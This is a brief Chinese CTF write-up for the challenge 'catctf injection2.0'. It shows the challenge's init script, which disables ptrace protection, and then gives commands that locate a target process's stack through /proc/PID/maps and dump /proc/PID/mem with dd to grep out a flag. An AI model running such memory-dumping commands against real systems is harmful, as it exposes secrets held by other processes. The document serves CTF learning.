0%

catctf injection2.0

这是一种比较好玩的题

漏洞在这里 init文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#!/bin/sh
echo "INIT SCRIPT"
mkdir /tmp
mount -t proc none /proc
mount -t sysfs none /sys
mount -t devtmpfs none /dev
mount -t debugfs none /sys/kernel/debug
mount -t tmpfs none /tmp
echo 0 | tee /proc/sys/kernel/yama/ptrace_scope
chown 0:0 flag
chmod 755 flag
exec 0</dev/console
exec 1>/dev/console
exec 2>/dev/console
echo -e "Boot took $(cut -d' ' -f1 /proc/uptime) seconds"
./target >pso.file 2>&1 &
setsid /bin/cttyhack setuidgid 0 /bin/sh
#setsid /bin/cttyhack setuidgid 0 /bin/sh # 修改 uid gid 为 0 以提权 /bin/sh 至 root。

其中这一句echo 0 | tee /proc/sys/kernel/yama/ptrace_scope

关闭了ptrace的保护,原本默认为1,使得ptrace只能追踪父进程

但是设为0即可追踪所有进程

所以可以

1
2
3
4
ps -ef ->找到./target进程的pid (IDA分析./target发现flag已经读到栈里,并且之后while 1死循环
cat /proc/$(pidof target)/maps找到栈起始末尾地址
dd指令可以分析内存
dd if=/proc/$(pidof target)/mem skip=栈起始地址 bs=1(每次1bytes) count=135168(总共) |grep ...

一步到位:

1
2
stack=$(printf %d "0x$(grep stack /proc/$(pidof target)/maps | sed -n 's/^\([0-9a-f]*\)-.*$/\1/p')")
dd if=/proc/$(pidof target)/mem skip=$stack bs=1 count=135168|grep cyber

Untitled